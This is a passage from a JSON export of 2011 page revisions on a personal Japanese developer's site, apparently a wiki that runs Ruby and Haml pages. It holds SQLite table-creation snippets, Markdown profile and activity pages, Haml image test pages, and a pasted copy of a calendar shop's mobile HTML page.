datetime);\r\nEOS\r\nPage.connection_execute sql rescue nil\r\n\"このページは汎用データストア用テーブルを作るために作りました。\"\r\n","created_at":"2011-06-13T03:23:05.000Z","updated_at":"2011-06-13T03:23:05.000Z"},{"id":1731,"name":"ruby/create_database","body":"ruby\r\n# vim:set ft=ruby:\r\nsql =\u003c\u003cEOS\r\nCREATE TABLE \"stores\" (\"id\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, \"key\" varchar(255), \"body\" blob, \"created_at\" datetime, \"updated_at\" datetime);\r\nEOS\r\nPage.connection_execute sql\r\n\"このページは汎用データストア用テーブルを作るために作りました。\"\r\n","created_at":"2011-06-13T03:23:34.000Z","updated_at":"2011-06-13T03:23:34.000Z"},{"id":1732,"name":"ruby/create_database","body":"ruby\r\n# vim:set ft=ruby:\r\nsql =\u003c\u003cEOS\r\nCREATE TABLE \"stores\" (\"id\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, \"key\" varchar(255), \"body\" blob, \"created_at\" datetime, \"updated_at\" datetime);\r\nEOS\r\nPage.new.connection.execute sql rescue nil\r\n\"このページは汎用データストア用テーブルを作るために作りました。\"\r\n","created_at":"2011-06-13T03:24:21.000Z","updated_at":"2011-06-13T03:24:21.000Z"},{"id":1733,"name":"ruby/create_database","body":"ruby\r\n# vim:set ft=ruby:\r\nsql =\u003c\u003cEOS\r\nCREATE TABLE \"stores\" (\"id\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, \"key\" varchar(255), \"body\" blob, \"created_at\" datetime, \"updated_at\" datetime);\r\nEOS\r\nPage.new.connection.execute sql rescue nil\r\nsql =\u003c\u003cEOS\r\nCREATE INDEX \"index_stores_on_key\" ON \"stores\" (\"key\");\r\nEOS\r\nPage.new.connection.execute sql rescue nil\r\n\"このページは汎用データストア用テーブルを作るために作りました。\"\r\n","created_at":"2011-06-13T03:25:34.000Z","updated_at":"2011-06-13T03:25:34.000Z"},{"id":1734,"name":"ruby/create_database","body":"ruby create table\r\n# vim:set ft=ruby:\r\nsql =\u003c\u003cEOS\r\nCREATE TABLE \"stores\" (\"id\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, \"key\" varchar(255), \"body\" blob, \"created_at\" datetime, \"updated_at\" datetime);\r\nEOS\r\nPage.new.connection.execute sql rescue nil\r\nsql =\u003c\u003cEOS\r\nCREATE INDEX \"index_stores_on_key\" ON \"stores\" (\"key\");\r\nEOS\r\nPage.new.connection.execute sql rescue nil\r\n\"このページは汎用データストア用テーブルを作るために作りました。\"","created_at":"2011-06-13T15:38:29.000Z","updated_at":"2011-06-13T15:38:29.000Z"},{"id":1735,"name":"shunirr","body":"ruby shunirr\r\nstr = \u003c\u003cEOS\r\n# shunirr\r\nだるい\r\nEOS\r\nstr","created_at":"2011-06-17T13:48:27.000Z","updated_at":"2011-06-17T13:48:27.000Z"},{"id":1736,"name":"shunirr","body":"ruby shunirr\r\nstr = \u003c\u003cEOS\r\n# shunirr\r\nだるい\r\nEOS\r\nBlueCloth.new(str).html","created_at":"2011-06-17T13:48:53.000Z","updated_at":"2011-06-17T13:48:53.000Z"},{"id":1737,"name":"shunirr","body":"ruby shunirr\r\nstr = \u003c\u003cEOS\r\n# shunirr\r\nだるい\r\nEOS\r\nBlueCloth.new(str).to_html","created_at":"2011-06-17T13:49:31.000Z","updated_at":"2011-06-17T13:49:31.000Z"},{"id":1738,"name":"初心者ナイトvol.2","body":"# 初心者ナイト用の自己紹介とか\r\n## 自己紹介\r\n破滅の人物、ネットストーカー\r\n\r\n## ジャンル\r\nアニメの主題曲で歌ないもの、 UK \"風\" ロック、クラシック","created_at":"2011-06-27T07:46:23.000Z","updated_at":"2011-06-27T07:46:23.000Z"},{"id":1739,"name":"初心者ナイトvol.2","body":"# 初心者ナイト用の自己紹介\r\n## 自己紹介\r\n破滅の人物、ネットストーカー\r\n\r\n## ジャンル\r\nアニメの主題曲で歌ないもの、 UK \"風\" ロック、クラシック","created_at":"2011-06-27T07:46:31.000Z","updated_at":"2011-06-27T07:46:31.000Z"},{"id":1740,"name":"activity","body":"# ssig33 activity history\r\nexcluding the operations of the company...\r\n## 2011\r\n### (Rolling Icon)[http://ssig33.com]\r\nTwitter Icon Manager. for PC ,Smartphone and Feature Phone. That's can manage a lots of icon with Simple interface. Currently, for Japanese users only. I'm working for English user...\r\n\r\n\u003chr /\u003e\r\n(Back To The Top)[/]","created_at":"2011-06-27T07:52:00.000Z","updated_at":"2011-06-27T07:52:00.000Z"},{"id":1741,"name":"activity","body":"# ssig33 activity history\r\nexcluding the operations of the company...\r\n## 2011\r\n### [Rolling Icon](http://ssig33.com)\r\nTwitter Icon Manager. for PC ,Smartphone and Feature Phone. That's can manage a lots of icon with Simple interface. Currently, for Japanese users only. I'm working for English user...\r\n\r\n\u003chr /\u003e\r\n[Back To The Top](/)","created_at":"2011-06-27T07:52:35.000Z","updated_at":"2011-06-27T07:52:35.000Z"},{"id":1742,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Activity](/Activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-06-27T08:00:08.000Z","updated_at":"2011-06-27T08:00:08.000Z"},{"id":1743,"name":"index","body":"#ssig33.com\r\n\r\n## Contents \u0026 Service\r\n[Text](http://text.ssig33.com) \r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com)\r\n\r\n[Bread Please](http://pankure.ssig33.com)\r\n\r\n[Message](/message)\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[others](/others)\r\n\r\n[Contact](/連絡先) (for Japanese)\r\n\r\n### Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90-1450-2501 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n### Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- Japanese\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n- English(a bit)","created_at":"2011-06-28T02:06:45.000Z","updated_at":"2011-06-28T02:06:45.000Z"},{"id":1744,"name":"acme","body":"raw acme\r\n\u003chtml\u003e\r\n \u003ch1\u003eねむい\u003c/h1\u003e\r\n\u003c/html\u003e","created_at":"2011-07-03T07:35:21.000Z","updated_at":"2011-07-03T07:35:21.000Z"},{"id":1745,"name":"acme","body":"haml acme\r\n!!!\r\n%img.motemen{:src =\u003e \"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}","created_at":"2011-07-03T07:51:41.000Z","updated_at":"2011-07-03T07:51:41.000Z"},{"id":1746,"name":"acme","body":"haml acme\r\n!!!\r\n%img.motemen{:src =\u003e \r\n\"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n%br\r\n%img.motemen{:src =\u003e \"http://ssig33.com/gyazo/ed6c0229991d5b5092af550c91f280b0.png\"}","created_at":"2011-07-03T07:52:31.000Z","updated_at":"2011-07-03T07:52:31.000Z"},{"id":1747,"name":"acme","body":"haml acme\r\n!!!\r\n%img.motemen{:src =\u003e \r\n\"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n%br\r\n%img.motemen{:src =\u003e \"http://ssig33.com/gyazo/ed6c0229991d5b5092af550c91f280b0.png\"}","created_at":"2011-07-03T07:52:39.000Z","updated_at":"2011-07-03T07:52:39.000Z"},{"id":1748,"name":"acme","body":"haml acme\r\n!!!\r\n%p\r\n %img.motemen{:src =\u003e \r\n\"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n%p\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/ed6c0229991d5b5092af550c91f280b0.png\"}","created_at":"2011-07-03T07:53:07.000Z","updated_at":"2011-07-03T07:53:07.000Z"},{"id":1749,"name":"acme","body":"haml acme\r\n!!!\r\n%p\r\n %img.motemen{:src =\u003e \r\n\"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n%p\r\n}","created_at":"2011-07-03T07:53:19.000Z","updated_at":"2011-07-03T07:53:19.000Z"},{"id":1750,"name":"acme","body":"haml acme\r\n!!!\r\n%p\r\n %img.motemen{:src =\u003e \r\n\"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n%p\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/ed6c0229991d5b5092af550c91f280b0.png\"}","created_at":"2011-07-03T07:53:39.000Z","updated_at":"2011-07-03T07:53:39.000Z"},{"id":1751,"name":"acme","body":"haml acme\r\n!!!\r\n%p\r\n %img.motemen{:src =\u003e \r\n\"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n","created_at":"2011-07-03T07:53:50.000Z","updated_at":"2011-07-03T07:53:50.000Z"},{"id":1752,"name":"acme","body":"haml acme\r\n!!!\r\n%img.motemen{:src =\u003e \r\n\"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n","created_at":"2011-07-03T07:53:58.000Z","updated_at":"2011-07-03T07:53:58.000Z"},{"id":1753,"name":"acme","body":"haml acme\r\n!!!\r\n%img.motemen{:src =\u003e \"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}","created_at":"2011-07-03T07:54:11.000Z","updated_at":"2011-07-03T07:54:11.000Z"},{"id":1754,"name":"acme","body":"haml acme\r\n!!!\r\n#all\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/ed6c0229991d5b5092af550c91f280b0.png\"}","created_at":"2011-07-03T07:54:30.000Z","updated_at":"2011-07-03T07:54:30.000Z"},{"id":1755,"name":"acme","body":"haml acme\r\n!!!\r\n#all\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/ed6c0229991d5b5092af550c91f280b0.png\"}\r\n:css\r\n img.class{\r\n width:200px;\r\n }","created_at":"2011-07-03T07:54:58.000Z","updated_at":"2011-07-03T07:54:58.000Z"},{"id":1756,"name":"acme","body":"haml acme\r\n!!!\r\n#all\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/90dc9e6ea042023655b5679a47b7d4a4.png\"}\r\n %img.motemen{:src =\u003e \"http://ssig33.com/gyazo/ed6c0229991d5b5092af550c91f280b0.png\"}\r\n:css\r\n img.motemen{\r\n width:200px;\r\n }","created_at":"2011-07-03T07:55:07.000Z","updated_at":"2011-07-03T07:55:07.000Z"},{"id":1757,"name":"activity","body":"# ssig33 activity history\r\nexcluding the operations of the company...\r\n## 2011\r\n### [Rolling Icon](http://icon.ssig33.com)\r\nTwitter Icon Manager. for PC ,Smartphone and Feature Phone. That's can manage a lots of icon with Simple interface. Currently, for Japanese users only. I'm working for English user...\r\n\r\n\u003chr /\u003e\r\n[Back To The Top](/)","created_at":"2011-07-04T02:28:40.000Z","updated_at":"2011-07-04T02:28:40.000Z"},{"id":1758,"name":"fuck.png","body":"はい","created_at":"2011-07-06T06:11:46.000Z","updated_at":"2011-07-06T06:11:46.000Z"},{"id":1759,"name":"acme/jquerymobile","body":"haml\r\n:javascript\r\n alert(0)","created_at":"2011-07-08T05:47:16.000Z","updated_at":"2011-07-08T05:47:16.000Z"},{"id":1760,"name":"acme/jquerymobile","body":"raw\r\n\u003c!DOCTYPE html\u003e\r\n\u003chtml lang=\"ja\"\u003e\r\n\u003chead\u003e\r\n\u003cmeta charset=\"UTF-8\" /\u003e\r\n\u003cmeta name=\"language\" content=\"ja\" /\u003e\r\n\u003ctitle\u003eE-カレンダー.com : 2012年カレンダー通販と名入れカレンダーのサイト \u003c/title\u003e\r\n\u003cmeta content=\"カレンダー,2012年,2012年カレンダー,通販,名入れ印刷,名入れ,暦,来年のカレンダー\" name=\"keywords\" /\u003e\r\n\u003cmeta content=\"2012年カレンダーを送料無料でお届け! 5部以上のご注文なら1割引で更にお得!:カレンダー通販と名入れカレンダーの E-カレンダー.com\" name=\"description\" /\u003e\r\n\u003clink href=\"http://www.e-cale.com/css/iphone/style.css\" rel=\"stylesheet\" type=\"text/css\" /\u003e\r\n\u003cmeta name=\"viewport\" content=\"width=device-width;initial-scale=1.0;minimum-scale=1.0; maximum-scale=1.0;user-scalable=0;\" /\u003e\r\n\r\n\u003c!-- jQueryMobile --\u003e\r\n\u003cscript src=\"http://www.e-cale.com/js/jquery_mobile/jquery-1.6.1.min.js\" type=\"text/javascript\"\u003e\u003c/script\u003e\r\n\u003cscript type=\"text/javascript\"\u003e\r\n$(document).bind(\"mobileinit\", function(){\r\n\t$.mobile.ajaxEnabled = false; \r\n});\r\n\u003c/script\u003e\r\n\r\n\u003cscript src=\"http://www.e-cale.com/js/jquery_mobile/jquery.mobile-1.0b1.min.js\" type=\"application/x-javascript\"\u003e\u003c/script\u003e\r\n\u003clink rel=\"stylesheet\" href=\"http://www.e-cale.com/js/jquery_mobile/jquery.mobile-1.0b1.css\"\u003e\r\n\r\n\u003c!-- オリジナルテーマ --\u003e\r\n\u003clink rel=\"stylesheet\" href=\"http://www.e-cale.com/js/jquery_mobile/theme_x.css\"\u003e\r\n\r\n\r\n\u003cscript type=\"text/javascript\" src=\"https://apis.google.com/js/plusone.js\"\u003e\r\n {lang: 'ja'}\r\n\u003c/script\u003e\r\n\r\n\u003cscript type=\"text/javascript\"\u003e\r\n\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-1934040-1']);\r\n _gaq.push(['_trackPageview']);\r\n\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);\r\n })();\r\n\r\n\u003c/script\u003e\r\n\r\n\r\n\r\n\u003c/head\u003e\r\n\r\n\u003cbody\u003e\r\n\r\n\u003cdiv id=\"mainPage\" data-role=\"page\" data-theme=\"x\"\u003e\r\n\t\u003cheader id=\"header\"\u003e\r\n \u003ch1 id=\"siteId\"\u003e\r\n \t\u003ca href=\"http://www.e-cale.com/\" data-role=\"none\"\u003eE-カレンダー.com\u003c/a\u003e\r\n\t\u003c/h1\u003e\r\n\t\u003cdiv class=\"btnMenu\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/shopping-cart/\" data-role=\"none\" class=\"btn\"\u003e\u003cimg src=\"http://www.e-cale.com/images/iphone/btn_menu_cart.png\" /\u003e\u003c/a\u003e\r\n\t\t\u003ca href=\"https://www.e-cale.com/about/contact/\" data-role=\"none\" class=\"btn\"\u003e\u003cimg src=\"http://www.e-cale.com/images/iphone/btn_menu_contact.png\" /\u003e\u003c/a\u003e\r\n\r\n\t\u003c/div\u003e\r\n \u003cnav id=\"globalNav\"\u003e\r\n \t\u003ca href=\"#mainMenu\" data-transition=\"slidedown\"\u003e\u003cimg src=\"http://www.e-cale.com/images/iphone/btn_show_menu.png\" /\u003e\u003c/a\u003e\r\n \t\u003ca href=\"#searchBox\" data-transition=\"fade\"\u003e\u003cimg src=\"http://www.e-cale.com/images/iphone/btn_search.png\" /\u003e\u003c/a\u003e\r\n \t\u003ca href=\"http://www.e-cale.com/about/rule/\"\u003e\u003cimg src=\"http://www.e-cale.com/images/iphone/btn_about.png\" /\u003e\u003c/a\u003e\r\n \u003c/nav\u003e\r\n\r\n\u003c/header\u003e\r\n\r\n\t\t\t\u003cg:plusone size=\"tall\"\u003e\u003c/g:plusone\u003e\r\n\r\n\t\t\r\n\r\n\u003ch2 class=\"defaultHeader\"\u003e2012年版カレンダー\u003c/h2\u003e\r\n\r\n\u003cdiv id=\"payment\" class=\"center\" style=\"padding:5px; \"\u003e\r\n\t\u003cimg src=\"http://www.e-cale.com/images/iphone/img_payment.png\" /\u003e\r\n\u003c/div\u003e\r\n\r\n\u003cul class=\"itemList defaultList\"\u003e\r\n\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1239/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/nk27-tops.jpg\" alt=\"ハローキャッツ\" width=\"77\" height=\"106\" /\u003e\r\n\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1239/\"\u003eハローキャッツ\u003c/a\u003e\r\n\t\t\t\t\tセピア調に仕上げた猫の写真がカワイイカレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;720円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1239\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1262/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/nk133-tops.jpg\" alt=\"月-The Moon\" width=\"77\" height=\"106\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1262/\"\u003e月-The Moon\u003c/a\u003e\r\n\t\t\t\t\t世界各地の月の風景。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;1,000円(税込)\u003c/span\u003e\r\n\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1262\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1378/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sb034-tops.jpg\" alt=\"光の幻影\" width=\"77\" height=\"106\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1378/\"\u003e光の幻影\u003c/a\u003e\r\n\r\n\t\t\t\t\t写真家 エドモンド・ネーゲルの幻想写真作品。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;1,000円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1378\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1252/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/nk83-tops.jpg\" alt=\"招福ねこ暦\" width=\"77\" height=\"106\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1252/\"\u003e招福ねこ暦\u003c/a\u003e\r\n\t\t\t\t\t岡本肇が描く 猫 2012年カレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;830円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1252\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1350/\" target=\"_self\"\u003e\r\n\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sp31-tops.jpg\" alt=\"アルフォンス・ミュシャ\" width=\"77\" height=\"173\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1350/\"\u003eアルフォンス・ミュシャ\u003c/a\u003e\r\n\t\t\t\t\tアルフォンス・ミュシャの作品。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;950円(税込)\u003c/span\u003e\r\n\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1350\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1313/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sg405-tops.jpg\" alt=\"遠い日の風景から(影絵)\" width=\"77\" height=\"106\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1313/\"\u003e遠い日の風景から(影絵)\u003c/a\u003e\r\n\r\n\t\t\t\t\t藤城清治が送る影絵の世界を楽しめます。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;880円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1313\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1381/\" target=\"_self\"\u003e\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/sb078-tops.jpg\" alt=\"小暮真望版画集\" width=\"77\" height=\"106\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1381/\"\u003e小暮真望版画集\u003c/a\u003e\r\n\t\t\t\t\t版画家 小暮真望の人気カレンダー。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;900円(税込)\u003c/span\u003e\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1381\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" /\u003e\r\n\u003c/li\u003e\t\u003cli class=\"item list clearfix\"\u003e\r\n\t\t\u003cfigure class=\"image\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1258/\" target=\"_self\"\u003e\r\n\r\n\t\t\u003cimg src=\"http://www.e-cale.com/images/item/2012/nk120-tops.jpg\" alt=\"横山大観作品集\" width=\"77\" height=\"106\" /\u003e\r\n\t\t\u003c/a\u003e\r\n\t\u003c/figure\u003e\r\n\t\t\u003cspan class=\"info\"\u003e\r\n\t\t\u003ca href=\"http://www.e-cale.com/view/1258/\"\u003e横山大観作品集\u003c/a\u003e\r\n\t\t\t\t\t日本画の巨匠 横山大観の作品。\u003cbr /\u003e\r\n\t\t\t\t\u003cspan class=\"price\"\u003e値段:\u0026yen;900円(税込)\u003c/span\u003e\r\n\r\n\t\t\u003cspan class=\"price\"\u003e送料無料でお届けしています\u003c/span\u003e\r\n\t\t\u003cform action=\"http://www.e-cale.com/shopping-cart/add/\" method=\"post\" class=\"btn\"\u003e\r\n\t\t \t\u003cinput type=\"hidden\" name=\"item_id\" value=\"1258\" /\u003e\r\n\t\t \u003cinput type=\"hidden\" name=\"mode\" value=\"add\" /\u003e\r\n\t\t \t\t \t\u003cinput type=\"submit\" value=\"カートに入れる\" class=\"button\" data-role=\"none\" /\u003e\r\n\t\t \t \t\u003c/form\u003e\r\n\t\u003c/span\u003e\r\n\t\u003cbr class=\"clear-both\" 